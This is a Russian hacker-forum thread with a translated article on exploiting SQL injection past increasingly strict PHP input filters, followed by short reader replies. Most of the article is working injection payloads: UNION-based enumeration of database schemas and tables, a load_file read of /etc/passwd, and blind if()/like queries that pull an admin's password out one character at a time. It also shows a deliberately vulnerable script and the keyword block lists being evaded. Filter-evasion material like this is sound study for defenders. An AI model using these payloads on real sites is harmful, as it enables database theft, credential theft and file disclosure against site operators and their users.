Статьи Эксплуатация SQL-инъекций в условиях "жесткой фильтрации"

Discussion in 'Статьи' started by Pashkela, 10 Apr 2010.

  1. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    Приблизительный перевод вот этой интересной статьи: http://websec.wordpress.com/

    Итак, рассмотрим следующий уязвимый php-скрипт:
    Code:
    <?php
    // тут соединение с БД
    $id = $_GET['id'];
    $pass = mysql_real_escape_string($_GET['pass']);
    $result = mysql_query("SELECT id,name,pass FROM users WHERE id = $id AND pass = '$pass' ");
    if($data = @mysql_fetch_array($result))
        echo "Welcome ${data['name']}";
    ?>
    
    Примечание: на дисплей выводится только одно имя из результата запроса.

    Приступим. Как видно, параметр “id” подвержен SQL-инъекии. Проверяем:
    Code:
    1) ?id=1 and 1=0-- -
    2) ?id=1 and 1=1-- -
    
    На экран выведется имя из запроса в случае второго варианта. Также мы может посмотреть имена всех юзеров
    использую лимит:
    Code:
    ?id=1 or 1=1 LIMIT x,1--
    
    Но имена пользователей для нас не так интересны, как их пароли. А чтобы узнать пароли, мы сначала должны узнать
    названия таблиц и колонок:
    Code:
    ?id=1 and 1=0 union select null,table_name,null from information_schema.tables limit 28,1--
    ?id=1 and 1=0 union select null,column_name,null from information_schema.columns where table_name='foundtablename' LIMIT 0,1--
    ?id=1 and 1=0 union select null,password,null from users limit 1,1--
    
    в общем-то и все. Мы получили желаемое. Это классичесская ситуация. Теперь рассмотрим варианты, когда в дело вступают фильтры значения id.

    1. Фильтруются пробелы, кавычки и слеши.

    т.е. в исходном коде вставили такую фильтрацию id:
    Code:
    if(preg_match('/\s/', $id))
        exit('attack'); // no whitespaces
    if(preg_match('/[\'"]/', $id))
        exit('attack'); // no quotes
    if(preg_match('/[\/\\\\]/', $id))
        exit('attack'); // no slashes
    
    Как мы видели из вариантов раскрутки sql-инъекции в начале, там использовались и пробелы и кавычки. Сначала нам приходит в голову заменить пробелы на /*комментарии*/, но слеши, как видно, тоже фильтруются. Ну что же, поробуем обойтись вовсе без пробелов:
    Code:
    ?id=(1)and(1)=(0)union(select(null),table_name,(null)from(information_schema.tables)limit 28,1--)
    
    С виду вроде то, что надо, однако в конце все-таки присутствует пробел после limit. Но у нас есть функция group_concat(), которая поможет нам получение списка всех таблиц без использования limit. А т.к. длина полученного результат (имена всех таблиц, что влезут в group_concat() - ограничение 1024) , может получиться очень большой, мы можем получать результат частями, используя mid() или substring():
    Code:
    ?id=(1)and(1)=(0)union(select(null),mid(group_concat(table_name),600,100),(null)from(information_schema.tables))#
    
    Для получения имен колонок и чтобы не использовать кавычки, захексим имя таблицы:
    Code:
    ?id=(1)and(1)=(0)union(select(null),group_concat(column_name),(null)from(information_schema.columns)where(table_name)=(0x7573657273))#
    
    В приципе всё - ни пробелов, ни слешей, ни кавычек мы не использовали и удачно обошли фильтр.

    2. Фильтрация базовых словосочетаний, применяемых при sql-запросах

    Теперь в нашем исходнике вставили такой фильтр:
    Code:
    if(preg_match('/\s/', $id))
        exit('attack'); // no whitespaces
    if(preg_match('/[\'"]/', $id))
        exit('attack'); // no quotes
    if(preg_match('/[\/\\\\]/', $id))
        exit('attack'); // no slashes
    if(preg_match('/(and|null|where|limit)/i', $id))
        exit('attack'); // no sqli keywords
    
    Т.е. добавили фильтрацию на “and”, “null”, “where” and “limit”

    Проверяем, есть ли вообще sql-инъекция, но уже другим способом:
    Code:
    ?id=1#
    ?id=2-1#
    
    Результат одинаковый - скуля есть. Чтобы получить возможность влиять на sql-инъекцию и вызвать ошибку, подставим несуществующий id - 0, и, вспомнив про фильтр, сделаем такие запросы (предварительно узнав кол-во колонок, разумеется) без where и limit:
    Code:
    ?id=(0)union(select(0),group_concat(table_name),(0)from(information_schema.tables))#
    ?id=(0)union(select(0),group_concat(column_name),(0)from(information_schema.columns))#
    
    Таким образом мы сможем получить имена всех таблиц и колонок, как правильно использовать group_concat() для обхождения лимита в 1024 байта можно прочитать здесь.

    3. Алтернатива WHERE.

    Как вариант можно использовать ORDER BY column_name DESC для получения имен таблиц, но не сработает, т.к. ORDER BY использует пробелы и так мы фильтр не обойдем. Посмотрим в сторону HAVING. Сначала посмотрим, какие базы доступны для просмотра:
    Code:
    ?id=(0)union(select(0),group_concat(schema_name),(0)from(information_schema.schemata))#
    
    Не забываем про ограничение в 1024 байта, посмотрим database() чтобы узнать имя текущей базы:
    Code:
    ?id=(0)union(select(0),database(),(0))#
    
    Допустим, что имя текущей БД “test”, что в хексе будет “0×74657374″ и попробуем получить все таблицы из базы “test” с помощью HAVING без использования WHERE:
    Code:
    ?id=(0)union(select(table_schema),table_name,(0)from(information_schema.tables)having((table_schema)like(0x74657374)))#
    
    Вспомним, что на экран нам выводится только один результат выполненного запроса и, для получения имени второй таблицы, мы можем воспользоваться такой конструкцией:
    Code:
    ?id=(0)union(select(table_schema),table_name,(0)from(information_schema.tables)having((table_schema)like(0x74657374)&&(table_name)!=(0x7573657273)))#
    
    Обратите внимание, мы использали && вместо AND, чтобы обойти фильтр. Получив имена всех таблиц, таким же способом мы получаем колонки:
    Code:
    ?id=(0)union(select(table_name),column_name,(0)from(information_schema.columns)having((table_name)like(0x7573657273)))#
    
    ?id=(0)union(select(table_name),column_name,(0)from(information_schema.columns)having((table_name)like(0x7573657273)&&(column_name)!=(0x6964)))#
    
    Единственный недостаток такого метода, что совместно с HAVING мы не можем использовать group_concat(), поэтому придется перебирать каждую запись.

    еще вариант (без использования "=" и "!=" - если фильтруются):
    Code:
    ?id=(0)union(select(table_name),column_name,(0)from(information_schema.columns)having((table_name)like(0x7573657273)&&(NOT((column_name)like(0x6964)))))#
    
    4. Усложняем фильтр.
    Code:
    if(preg_match('/\s/', $id))
        exit('attack'); // no whitespaces
    if(preg_match('/[\'"]/', $id))
        exit('attack'); // no quotes
    if(preg_match('/[\/\\\\]/', $id))
        exit('attack'); // no slashes
    if(preg_match('/(and|or|null|where|limit)/i', $id))
        exit('attack'); // no sqli keywords
    if(preg_match('/(union|select|from|having)/i', $id))
        exit('attack'); // no sqli keywords
    
    Как видим, добавился фильтр на слова union|select|from|having. В таком случае мы можем лишь воспользоваться load_file() если у текущего юзера file_priv=Y и прочитать интересующий нас файл.

    Но мы не можем использовать load_file() при такой фильтрации обычным способом, т.к. мы не может использовать union select, поэтому у нас будет такая альтернатива:

    Сначала мы должны проверить, что мы можем прочитать файл. Load_file() вернет “null” если файл не может быть прочитан, но т.к. “null” фильтруется, мы можем использовать функцию coalesce() которая возврает первое not-null значение из списка:
    Code:
    ?id=(coalesce(length(load_file(0x2F6574632F706173737764)),1))
    
    При удачном запросе вернется размер файла, который мы хотим прочитать, при неудачном - 1.
    Будем использовать оператор CASE для посимвольного чтения файла:
    Code:
    ?id=(case(mid(load_file(0x2F6574632F706173737764),$x,1))when($char)then(1)else(0)end)
    
    где $char - это sql хекс-значение символа файла в позиции $x

    Таким образом мы обойдем фильтр и сможем прочитать файл, если у нас есть соответствующие привелегии (file_priv=Y).

    6. Фильтр практически на все.

    Добавим фильтр, что хекер не смог воспользоваться LOAD_FILE и также добавим в список SQL-комментарии:
    Code:
    if(preg_match('/\s/', $id))
        exit('attack'); // no whitespaces
    if(preg_match('/[\'"]/', $id))
        exit('attack'); // no quotes
    if(preg_match('/[\/\\\\]/', $id))
        exit('attack'); // no slashes
    if(preg_match('/(and|or|null|not)/i', $id))
        exit('attack'); // no sqli boolean keywords
    if(preg_match('/(union|select|from|where)/i', $id))
        exit('attack'); // no sqli select keywords
    if(preg_match('/(group|order|having|limit)/i', $id))
        exit('attack'); //  no sqli select keywords
    if(preg_match('/(into|file|case)/i', $id))
        exit('attack'); // no sqli operators
    if(preg_match('/(--|#|\/\*)/', $id))
        exit('attack'); // no sqli comments
    
    SQL-инъекция по прежнему есть, но эксплуатировать её невозможно, с первого взгляда. Что же можно сделать в такой ситуации?

    Мы не можем использовать procedure analyse(), про который прочитать можно здесь, потому что он использует пробелы в своей конструкции, и мы не можем использовать трюк с ‘1′%’0′

    Но выход есть. Первое, что мы должны помнить, это что мы уже находимся в SELECT запросе и мы можем попробовать добавить дополнительные условия в текущее WHERE. Единственная проблема в том, что мы можем получить доступ только к тем колонкам, которые участвуют в запросе, нам остается только узнать их имена. В нашем примере не трудно догадаться, какие у них имена, очень часто бывают такие {password, passwd, pass, pw, userpass} и т.д. Предположим, мы догадались, что колонка с паролем называется pass. Так как нам получить значение из pass? Обычный blind sql-запрос выглядел бы так:
    Code:
    ?id=(case when(mid(pass,1,1)='a') then 1 else 0 end)
    
    Если первый символ пароля ‘a’ (удачный запрос) - покажет 1, при неудачном - 0. Такой вариант сработает без дополнительных SELECT, т.к. в данном случае нам не требуется доступ к другим таблицам.

    Вспомним про фильтры. Чтобы обойти их, сделаем такой запрос:
    Code:
    ?id=1&&mid(pass,1,1)=(0x61);%00
    
    Испольуем нуль-байт вместо стандартных коментариев (которые в списке фильтра) чтобы отсечь проверку на правильный пароль из оригинального sql-запроса.

    Таким образом мы можем шаг за шагом извлечь все символы пароля, правильность подобранного пароля в итоге потдвертдится выведенным на экран именем юзера. Также мы можем получить пароли всех юзеров по их id:
    Code:
    ?id=2&&mid(pass,1,1)=(0x61);%00
    ?id=3&&mid(pass,1,1)=(0x61);%00
    
    Конечно, получения пароля займет время, но если нам надо получить пароль админа и мы знаем, например, что его ник 'admin', но мы не знаем его id, то в обычной ситуации можно было сделать такой запрос:
    Code:
    ?id=(SELECT id FROM users WHERE name = 'admin') && mid(pass,1,1)=('a');%00
    
    вспомнив про фильтры немного переделаем его:
    Code:
    ?id=1||1=1&&name=0x61646D696E&&mid(pass,1,1)=0x61;%00
    
    Но такой вариант не сработает, т.к. “OR 1=1″ в начале запроса имеет приоритет над последующими “AND”, поэтому мы будем всегда наблюдать пароль первого юзера из таблицы, поэтому мы принудительно сравним колонку id с колонкой id (т.е. саму с собой), чтобы осуществить нашу проверку на логин/пароль независимо от id:
    Code:
    ?id=id&&name=0x61646D696E&&mid(pass,1,1)=0x61;%00
    
    Если символ пароля будет угадан верно, то мы увидим “Hello admin”, при неправильном запросе мы не увидим ничего.

    Таким образом мы опять обошли все фильтры.

    6. Фильтр практически на все и еще больше.

    Добавим в фильтр “=”, “|” and “&”:
    Code:
    if(preg_match('/\s/', $id))
        exit('attack'); // no whitespaces
    if(preg_match('/[\'"]/', $id))
        exit('attack'); // no quotes
    if(preg_match('/[\/\\\\]/', $id))
        exit('attack'); // no slashes
    if(preg_match('/(and|or|null|not)/i', $id))
        exit('attack'); // no sqli boolean keywords
    if(preg_match('/(union|select|from|where)/i', $id))
        exit('attack'); // no sqli select keywords
    if(preg_match('/(group|order|having|limit)/i', $id))
        exit('attack'); //  no sqli select keywords
    if(preg_match('/(into|file|case)/i', $id))
        exit('attack'); // no sqli operators
    if(preg_match('/(--|#|\/\*)/', $id))
        exit('attack'); // no sqli comments
    if(preg_match('/(=|&|\|)/', $id))
        exit('attack'); // no boolean operators
    
    Т.к. "=" фильтруется, мы можем использовать “like” или “regexp” и т.д.:
    Code:
    ?id=id&&(name)like(0x61646D696E)&&(mid(pass,1,1))like(0x61);%00
    
    Как видим, символ “|” не используется. Но что же делать с “&”? Сможем ли мы получить результат без использования логических операторов? Сможем, используя функцию if(). Сначала попробуем узнать id, которому соответствует name = ‘admin’:
    Code:
    ?id=if((name)like(0x61646D696E),1,0);%00
    
    В случае удачи вернет 1, если неправильно - 0. Теперь, чтобы узнать id админа, поставим именно id вместо 1 в нашем запросе:
    Code:
    ?id=if((name)like(0x61646D696E),id,0);%00
    
    Ну а теперь, что получить пароль админа, у нас будет такой запрос (с комментариями):
    Code:
    ?id=
    if(
      // if (it gets true if the name='admin')
        if((name)like(0x61646D696E),1,0),
      // then (if first password char='a' return admin id, else 0)
        if(mid((password),1,1)like(0x61),id,0),
      // else (return 0)
        0
    );%00
    
    Что в одну строчку будет выглядеть так:
    Code:
    ?id=if(if((name)like(0x61646D696E),1,0),if(mid((password),1,1)like(0x61),id,0),0);%00
    
    Если символ пароля будет угадан правильно, то мы увидим “Hello admin”, иначе мы не увидим ничего(id=0).

    Конец.
     
    #1 Pashkela, 10 Apr 2010
    Last edited: 10 Apr 2010
  2. wildshaman

    wildshaman Elder - Старейшина

    Joined:
    16 Apr 2008
    Messages:
    477
    Likes Received:
    483
    Reputations:
    99
    Пашкела хекер.
    Спасибо действительно понравилось.
     
  3. Kamik

    Kamik Member

    Joined:
    2 Dec 2008
    Messages:
    122
    Likes Received:
    85
    Reputations:
    8
    Статья супер! надо будет попробовать! ) Респект автору и в избранное
     
  4. LokbatanLi

    LokbatanLi Member

    Joined:
    24 Aug 2009
    Messages:
    170
    Likes Received:
    20
    Reputations:
    -10
    Очень понравилось..
    Cпасибо Pashkela
     
  5. fenixelite

    fenixelite Banned

    Joined:
    7 Feb 2010
    Messages:
    294
    Likes Received:
    56
    Reputations:
    6
    Отличная статья. Фильтры жесткие ты придумал конечно )) Надо будет попробовать. Спасибо за статью!
     
  6. DrAssault

    DrAssault Member

    Joined:
    14 Nov 2008
    Messages:
    149
    Likes Received:
    89
    Reputations:
    8
    В принципе неплохо, но в некоторых условиях фильтрации откровенно изобретён велосипед и вывернуто через попу. Да и дихотомический поиск хорош только в том случае, если основной запрос представляет выборку вкусных для нас данных, что полный бред в 99% случаев, я думаю на% не кому не нужна информация из таблицы с новостным контентом, так что способ лишь наглядно демонстрирует возможность этой самой инъекции, а не её эффективность техники! Да и потом в примерах с дихотомическим поиском, всё можно сделать намного проще по аналогии с 3-ей веткой.
     
  7. Ctacok

    Ctacok Banned

    Joined:
    19 Dec 2008
    Messages:
    732
    Likes Received:
    646
    Reputations:
    251
    https://forum.antichat.ru/showpost.php?p=1098045&postcount=2